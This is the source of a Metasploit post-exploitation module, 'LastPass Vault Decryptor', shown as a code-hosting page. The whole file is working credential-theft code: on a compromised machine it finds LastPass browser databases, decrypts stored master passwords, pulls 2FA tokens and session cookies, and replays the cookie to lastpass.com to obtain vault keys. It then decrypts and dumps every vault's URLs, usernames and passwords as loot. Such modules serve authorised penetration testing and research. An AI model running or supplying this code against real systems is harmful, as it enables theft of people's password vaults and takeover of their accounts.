Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/lastpass_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6require 'sqlite3'7require 'uri'89class MetasploitModule < Msf::Post10include Msf::Post::File11include Msf::Post::Windows::UserProfiles12include Msf::Post::OSX::System13include Msf::Post::Unix1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'LastPass Vault Decryptor',20'Description' => %q{21This module extracts and decrypts LastPass master login accounts and passwords,22encryption keys, 2FA tokens and all the vault passwords23},24'License' => MSF_LICENSE,25'Author' => [26'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research27'Martin Vigo <martinvigo[at]gmail.com>', # original module and research28'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup29],30'Platform' => %w[linux osx unix win],31'References' => [32[ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]33],34'SessionTypes' => %w[meterpreter shell],35'Compat' => {36'Meterpreter' => {37'Commands' => %w[38stdapi_railgun_api39stdapi_registry_open_key40stdapi_sys_process_attach41stdapi_sys_process_get_processes42stdapi_sys_process_getpid43stdapi_sys_process_memory_allocate44stdapi_sys_process_memory_read45stdapi_sys_process_memory_write46]47}48}49)50)51end5253def run54if session.platform == 'windows' && session.type == 'shell' # No Windows shell support55print_error 'Shell sessions on Windows are not supported'56return57end5859print_status 'Searching for LastPass databases'6061account_map = build_account_map62if account_map.empty?63print_status 'No databases found'64return65end6667print_status 'Extracting credentials'68extract_credentials(account_map)6970print_status 'Extracting 2FA tokens'71extract_2fa_tokens(account_map)7273print_status 'Extracting vault and iterations'74extract_vault_and_iterations(account_map)7576print_status 'Extracting encryption keys'77extract_vault_keys(account_map)7879print_lastpass_data(account_map)80end8182# Returns a mapping of lastpass accounts83def build_account_map84profiles = user_profiles85account_map = {}8687profiles.each do |user_profile|88account = user_profile['UserName']89browser_path_map = {}90localstorage_path_map = {}91cookies_path_map = {}9293case session.platform94when 'windows'95browser_path_map = {96'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",97'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",98'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",99'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"100}101localstorage_path_map = {102'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",103'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",104'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",105'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"106}107cookies_path_map = {108'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",109'Firefox' => '', # It's set programmatically110'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",111'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"112}113when 'unix', 'linux'114browser_path_map = {115'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",116'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",117'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"118}119localstorage_path_map = {120'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",121'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",122'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"123}124cookies_path_map = { # TODO125'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",126'Firefox' => '', # It's set programmatically127'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"128}129when 'osx'130browser_path_map = {131'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",132'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",133'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",134'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"135}136localstorage_path_map = {137'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",138'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",139'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",140'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"141}142cookies_path_map = { # TODO143'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",144'Firefox' => '', # It's set programmatically145'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",146'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"147}148else149print_error "Platform not recognized: #{session.platform}"150end151152account_map[account] = {}153browser_path_map.each_pair do |browser, path|154account_map[account][browser] = {}155db_paths = find_db_paths(path, browser, account)156if db_paths && !db_paths.empty?157account_map[account][browser]['lp_db_path'] = db_paths.first158account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)159account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)160account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')161else162account_map[account].delete(browser)163end164end165end166167account_map168end169170# Returns a list of DB paths found in the victims' machine171def find_db_paths(path, browser, account)172paths = []173174vprint_status "Checking #{account}'s #{browser}"175if browser == 'IE' # Special case for IE176data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers')177data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers') if data.blank?178paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != 'Low\\LastPass' # Hacky way to detect if there is access to user's data (attacker has no root access)179elsif browser == 'Firefox' # Special case for Firefox180paths |= firefox_profile_files(path)181else182paths |= file_paths(path)183end184185vprint_good "Found #{paths.size} #{browser} databases for #{account}"186paths187end188189# Returns the relevant information from user profiles190def user_profiles191user_profiles = []192case session.platform193when /unix|linux/194user_names = dir('/home')195user_names.reject! { |u| %w[. ..].include?(u) }196user_names.each do |user_name|197user_profiles.push('UserName' => user_name, 'LocalAppData' => "/home/#{user_name}")198end199when /osx/200user_names = session.shell_command('ls /Users').split201user_names.reject! { |u| u == 'Shared' }202user_names.each do |user_name|203user_profiles.push(204'UserName' => user_name,205'AppData' => "/Users/#{user_name}/Library",206'LocalAppData' => "/Users/#{user_name}/Library/Application Support"207)208end209when /windows/210user_profiles |= grab_user_profiles211else212print_error "OS not recognized: #{session.platform}"213end214user_profiles215end216217# Extracts the databases paths from the given folder ignoring . and ..218def file_paths(path)219found_dbs_paths = []220221files = []222files = dir(path) if directory?(path)223files.each do |file_path|224unless %w[. .. Shared].include?(file_path)225found_dbs_paths.push([path, file_path].join(system_separator))226end227end228229found_dbs_paths230end231232# Returns the profile files for Firefox233def firefox_profile_files(path)234found_dbs_paths = []235236if directory?(path)237files = dir(path)238files.reject! { |file| %w[. ..].include?(file) }239files.each do |file_path|240found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)241end242end243244[found_dbs_paths]245end246247# Parses the Firefox preferences file and returns encoded credentials248def ie_firefox_credentials(prefs_path, localstorage_db_path)249credentials = []250data = nil251252if prefs_path.nil? # IE253data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers')254data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers') if data.blank?255return [] if data.blank?256257usernames = data.split('|')258usernames.each do |username|259credentials << [username, nil]260end261262# Extract master passwords263data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginPws')264data = Rex::Text.encode_base64(data) unless data.blank?265else # Firefox266loot_path = loot_file(prefs_path, nil, 'firefox.preferences', 'text/javascript', 'Firefox preferences file')267return [] unless loot_path268269File.readlines(loot_path).each do |line|270next unless /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line271272usernames = encoded_users.split('|')273usernames.each do |username|274credentials << [username, nil]275end276break277end278279# Extract master passwords280path = localstorage_db_path + system_separator + 'lp.loginpws'281data = read_remote_file(path) if file?(path) # Read file if it exists282end283284# Get encrypted master passwords285data = windows_unprotect(data) if !data.nil? && data.match(/^AQAAA.+/) # Verify Windows protection286return credentials if data.blank? # No passwords stored287288creds_per_user = data.split('|')289creds_per_user.each_with_index do |user_creds, _index|290parts = user_creds.split('=')291for creds in credentials292creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username293end294end295credentials296end297298def decrypt_data(key, encrypted_data)299return nil if encrypted_data.blank?300301if encrypted_data.include?('|') # Use CBC302decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt303decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |304encrypted_data = encrypted_data[26..] # Take only the data part305else # Use ECB306decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt307end308309begin310decipher.key = key311decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final312rescue OpenSSL::Cipher::CipherError => e313vprint_error "Data could not be decrypted. #{e.message}"314end315316decrypted_data317end318319def extract_credentials(account_map)320account_map.each_pair do |account, browser_map|321browser_map.each_pair do |browser, lp_data|322account_map[account][browser]['lp_creds'] = {}323if browser.match(/Firefox|IE/)324if browser == 'Firefox'325ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])326else # IE327ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])328end329unless ieffcreds.blank?330ieffcreds.each do |creds|331if creds[1].blank? # No master password found332account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => nil }333else334sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.decode_uri_component(creds[0]))335sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin336creds[1] = decrypt_data(sha256_binary_email, URI.decode_uri_component(creds[1]))337account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => creds[1] }338end339end340end341else # Chrome, Safari and Opera342loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", 'application/x-sqlite3', "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")343account_map[account][browser]['lp_db_loot'] = loot_path344next if loot_path.blank?345346# Parsing/Querying the DB347db = SQLite3::Database.new(loot_path)348result = db.execute(349'SELECT username, password FROM LastPassSavedLogins2 ' \350"WHERE username IS NOT NULL AND username != '' " \351)352353for row in result354next unless row[0]355356sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])357sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin358row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password359account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }360end361end362end363end364end365366# Extracts the 2FA token from localStorage367def extract_2fa_tokens(account_map)368account_map.each_pair do |account, browser_map|369browser_map.each_pair do |browser, lp_data|370if browser.match(/Firefox|IE/)371path = lp_data['localstorage_db'] + system_separator + 'lp.suid'372data = read_remote_file(path) if file?(path) # Read file if it exists373data = windows_unprotect(data) if !data.nil? && data.size > 32 # Verify Windows protection374loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")375account_map[account][browser]['lp_2fa'] = data376else # Chrome, Safari and Opera377loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")378unless loot_path.blank?379db = SQLite3::Database.new(loot_path)380token = db.execute(381'SELECT hex(value) FROM ItemTable ' \382"WHERE key = 'lp.uid';"383).flatten384end385token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')386end387end388end389end390391# Print all extracted LastPass data392def print_lastpass_data(account_map)393lastpass_data_table = Rex::Text::Table.new(394'Header' => 'LastPass Accounts',395'Indent' => 1,396'Columns' => %w[Account LP_Username LP_Password LP_2FA LP_Key]397)398399account_map.each_pair do |account, browser_map|400browser_map.each_pair do |_browser, lp_data|401lp_data['lp_creds'].each_pair do |username, user_data|402lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]403end404end405end406407unless account_map.empty?408print_good lastpass_data_table.to_s409loot_file(nil, lastpass_data_table.to_csv, 'lastpass.data', 'text/csv', 'LastPass Data')410print_vault_passwords(account_map)411end412end413414def extract_vault_and_iterations(account_map)415account_map.each_pair do |account, browser_map|416browser_map.each_pair do |browser, lp_data|417lp_data['lp_creds'].each_pair do |username, _user_data|418if browser.match(/Firefox|IE/)419if browser == 'Firefox'420iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key.itr'421vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.act.sxml'422else # IE423iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key_ie.itr'424vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.sxml'425end426iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists427iterations = nil if iterations.blank? # Verify content428lp_data['lp_creds'][username]['iterations'] = iterations429430# Find encrypted vault431vault = read_remote_file(vault_path)432vault = windows_unprotect(vault) if !vault.nil? && vault.match(/^AQAAA.+/) # Verify Windows protection433vault = vault.sub(/iterations=.*;/, '') if file?(vault_path) # Remove iterations info434loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")435lp_data['lp_creds'][username]['vault_loot'] = loot_path436437else # Chrome, Safari and Opera438db = SQLite3::Database.new(lp_data['lp_db_loot'])439result = db.execute(440'SELECT data FROM LastPassData ' \441"WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)442)443444if result.size == 1 && !result[0].blank?445if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]446lp_data['lp_creds'][username]['iterations'] = iterations447else448lp_data['lp_creds'][username]['iterations'] = 1449end450loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")451lp_data['lp_creds'][username]['vault_loot'] = loot_path452else453lp_data['lp_creds'][username]['iterations'] = nil454lp_data['lp_creds'][username]['vault_loot'] = nil455end456end457end458end459end460end461462def extract_vault_keys(account_map)463account_map.each_pair do |account, browser_map|464browser_map.each_pair do |browser, lp_data|465browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)466lp_data['lp_creds'].each_pair do |username, user_data|467if !user_data['lp_password'].blank? && !user_data['iterations'].nil? # Derive vault key from credentials468lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])469else # Get vault key decrypting the locally stored one or from the disabled OTP470unless browser_checked471decrypt_local_vault_key(account, browser_map)472browser_checked = true473end474if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP475otpbin = extract_otpbin(browser, username, lp_data)476otpbin.blank? ? next : otpbin = otpbin[0..31]477478lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)479end480end481end482end483end484end485486# Decrypt the locally stored vault key487def decrypt_local_vault_key(account, browser_map)488data = nil489session_cookie_value = nil490491browser_map.each_pair do |browser, lp_data|492if browser == 'IE' && directory?(lp_data['cookies_db'])493cookies_files = dir(lp_data['cookies_db'])494cookies_files.reject! { |u| %w[. ..].include?(u) }495cookies_files.each do |cookie_jar_file|496data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)497next if data.blank?498499next unless /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id500501loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", 'text/plain', "#{account}'s #{browser} cookies DB")502session_cookie_value = session_cookie_value_match503break504end505else506case browser507when /Chrome/508query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"509when 'Opera'510query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"511when 'Firefox'512query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"513else514vprint_error "Browser #{browser} not supported for cookies"515next516end517# Parsing/Querying the DB518loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", 'application/x-sqlite3', "#{account}'s #{browser} cookies DB")519next if loot_path.blank?520521db = SQLite3::Database.new(loot_path)522begin523result = db.execute(query)524rescue SQLite3::SQLException => e525vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"526next527end528next if result.blank? # No session cookie found for this browser529530session_cookie_value = result[0][0]531end532return if session_cookie_value.blank?533534# Check if cookie value needs to be decrypted535if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API536session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))537elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux538begin539decipher = OpenSSL::Cipher.new('AES-256-CBC')540decipher.decrypt541decipher.key = OpenSSL::Digest.hexdigest('SHA256', 'peanuts')542decipher.iv = ' ' * 16543session_cookie_value = session_cookie_value[3..] # Discard v10544session_cookie_value = decipher.update(session_cookie_value) + decipher.final545rescue OpenSSL::Cipher::CipherError => e546print_error "Cookie could not be decrypted. #{e.message}"547end548end549550# Use the cookie to obtain the encryption key to decrypt the vault key551uri = URI('https://lastpass.com/login_check.php')552request = Net::HTTP::Post.new(uri)553request.set_form_data('wxsessid' => URI.decode_uri_component(session_cookie_value), 'uuid' => browser_map['lp_2fa'])554request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'555response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }556557# Parse response558next unless response.body.match(/pwdeckey="([a-z0-9]+)"/) # Session must have expired559560decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey="([a-z0-9]+)"/)[1])561username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]562563# Get the local encrypted vault key564encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)565566# Decrypt the local stored key567lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack('H*'), encrypted_vault_key)568end569end570571# Returns otp, encrypted_key572def extract_otpbin(browser, username, lp_data)573if browser.match(/Firefox|IE/)574if browser == 'Firefox'575path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_ff.sotp'576else # IE577path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '.sotp'578end579otpbin = read_remote_file(path) if file?(path) # Read file if it exists580otpbin = windows_unprotect(otpbin) if !otpbin.nil? && otpbin.match(/^AQAAA.+/)581return otpbin582else # Chrome, Safari and Opera583db = SQLite3::Database.new(lp_data['lp_db_loot'])584result = db.execute(585'SELECT type, data FROM LastPassData ' \586"WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)587)588return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack('H*')589end590end591592def derive_vault_key_from_creds(username, password, key_iteration_count)593if key_iteration_count == 1594key = Digest::SHA256.hexdigest username + password595else596key = pbkdf2(password, username, key_iteration_count.to_i, 32).first597end598key599end600601def decrypt_vault_key_with_otp(username, otpbin)602vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack 'H*'603encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)604decrypt_data(vault_key_decryption_key, encrypted_vault_key)605end606607def retrieve_encrypted_vault_key_with_otp(username, otpbin)608# Derive login hash from otp609otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash610611# Make request to LastPass612uri = URI('https://lastpass.com/otp.php')613request = Net::HTTP::Post.new(uri)614request.set_form_data('login' => 1, 'xml' => 1, 'hash' => otp_token, 'otpemail' => URI::DEFAULT_PARSER.escape(username), 'outofbandsupported' => 1, 'changepw' => otp_token)615request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'616response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }617618# Parse response619encrypted_vault_key = nil620if response.body.match(/randkey="(.*)"/)621encrypted_vault_key = response.body.match(/randkey="(.*)"/)[1]622end623encrypted_vault_key624end625626# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)627def lastpass_sha256(input)628output = ''629630input = input.gsub("\r\n", "\n")631632input.each_byte do |e|633if e < 128634output += e.chr635elsif (e > 127 && e < 2048)636output += (e >> 6 | 192).chr637output += (e & 63 | 128).chr638else639output += (e >> 12 | 224).chr640output += (e >> 6 & 63 | 128).chr641end642end643644OpenSSL::Digest::SHA256.hexdigest(output)645end646647def pbkdf2(password, salt, iterations, key_length)648digest = OpenSSL::Digest.new('SHA256')649OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'650end651652def windows_unprotect(data)653data = Rex::Text.decode_base64(data)654pid = session.sys.process.getpid655process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)656mem = process.memory.allocate(data.length + 200)657process.memory.write(mem, data)658659if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'660addr = [mem].pack('V')661len = [data.length].pack('V')662ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)663len, addr = ret['pDataOut'].unpack('V2')664else665addr = Rex::Text.pack_int64le(mem)666len = Rex::Text.pack_int64le(data.length)667ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)668pData = ret['pDataOut'].unpack('VVVV')669len = pData[0] + (pData[1] << 32)670addr = pData[2] + (pData[3] << 32)671end672673return '' if len == 0674675process.memory.read(addr, len)676end677678def print_vault_passwords(account_map)679account_map.each_pair do |_account, browser_map|680browser_map.each_pair do |browser, lp_data|681lp_data['lp_creds'].each_pair do |username, user_data|682lastpass_vault_data_table = Rex::Text::Table.new(683'Header' => "Decrypted vault from #{username}",684'Indent' => 1,685'Columns' => %w[URL Username Password]686)687if user_data['vault_loot'].nil? # Was a vault found?688print_error "No vault was found for #{username}"689next690end691encoded_vault = File.read(user_data['vault_loot'])692if encoded_vault[0] == '!' # Vault is double encrypted693encoded_vault = decrypt_data([user_data['vault_key']].pack('H*'), encoded_vault)694if encoded_vault.blank?695print_error "Vault from #{username} could not be decrypted"696next697else698encoded_vault = encoded_vault.sub('LPB64', '')699end700end701702# Parse vault703vault = Rex::Text.decode_base64(encoded_vault)704vault.scan(/ACCT/) do |_result|705chunk_length = vault[$LAST_MATCH_INFO.offset(0)[1]..$LAST_MATCH_INFO.offset(0)[1] + 3].unpack('H*').first.to_i(16) # Get the length in base 10 of the ACCT chunk706chunk = vault[$LAST_MATCH_INFO.offset(0)[0]..$LAST_MATCH_INFO.offset(0)[1] + chunk_length] # Get ACCT chunk707account_data = parse_vault_account(chunk, user_data['vault_key'])708lastpass_vault_data_table << account_data if !account_data.nil?709end710711next if account_map.empty? # Loot passwords712713if lastpass_vault_data_table.rows.empty?714print_status('No decrypted vaults.')715else716print_good lastpass_vault_data_table.to_s717end718loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", 'text/csv', "LastPass Vault Passwords from #{username}")719end720end721end722end723724def parse_vault_account(chunk, vault_key)725pointer = 22 # Starting position to find data to decrypt726labels = ['name', 'folder', 'url', 'notes', 'undefined', 'undefined2', 'username', 'password']727vault_data = []728for label in labels729if chunk[pointer..pointer + 3].nil?730# Out of bound read731return nil732end733734length = chunk[pointer..pointer + 3].unpack('H*').first.to_i(16)735encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]736label != 'url' ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack('H*')737decrypted_data = '' if decrypted_data.nil?738vault_data << decrypted_data if (label == 'url' || label == 'username' || label == 'password')739pointer = pointer + 4 + length740end741742return vault_data[0] == 'http://sn' ? nil : vault_data # TODO: Support secure notes743end744745def decrypt_vault_password(key, encrypted_data)746return nil if key.blank? || encrypted_data.blank?747748if encrypted_data[0] == '!' # Apply CBC749decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt750decipher.iv = encrypted_data[1, 16] # Discard !751encrypted_data = encrypted_data[17..]752else # Apply ECB753decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt754end755decipher.key = [key].pack 'H*'756757begin758return decipher.update(encrypted_data) + decipher.final759rescue OpenSSL::Cipher::CipherError760vprint_error "Vault password could not be decrypted with key #{key}"761return nil762end763end764765# Reads a remote file and loots it766def loot_file(path, data, title, type, description)767data = read_remote_file(path) if data.nil? # If no data is passed, read remote file768return nil if data.nil?769770loot_path = store_loot(771title,772type,773session,774data,775nil,776description777)778loot_path779end780781# Reads a remote file and returns the data782def read_remote_file(path)783data = nil784785begin786data = read_file(path)787rescue EOFError788vprint_error "Error reading file #{path} It could be empty"789end790data791end792793def read_registry_key_value(key, value)794begin795root_key, base_key = session.sys.registry.splitkey(key)796reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)797return nil unless reg_key798799reg_value = reg_key.query_value(value)800return nil unless reg_value801rescue Rex::Post::Meterpreter::RequestError => e802vprint_error("#{e.message} (#{key}\\#{value})")803end804reg_key.close if reg_key805return reg_value.blank? ? nil : reg_value.data806end807808def extract_local_encrypted_vault_key(browser, username, lp_data)809if browser.match(/Firefox|IE/)810encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lpall.slps'811encrypted_vault_key = read_remote_file(encrypted_key_path)812encrypted_vault_key = windows_unprotect(encrypted_vault_key) if !encrypted_vault_key.nil? && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection813else814db = SQLite3::Database.new(lp_data['lp_db_loot'])815result = db.execute(816'SELECT data FROM LastPassData ' \817"WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)818)819encrypted_vault_key = result[0][0]820end821822return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part823end824825# Returns OS separator in a session type agnostic way826def system_separator827return session.platform == 'windows' ? '\\' : '/'828end829end830831832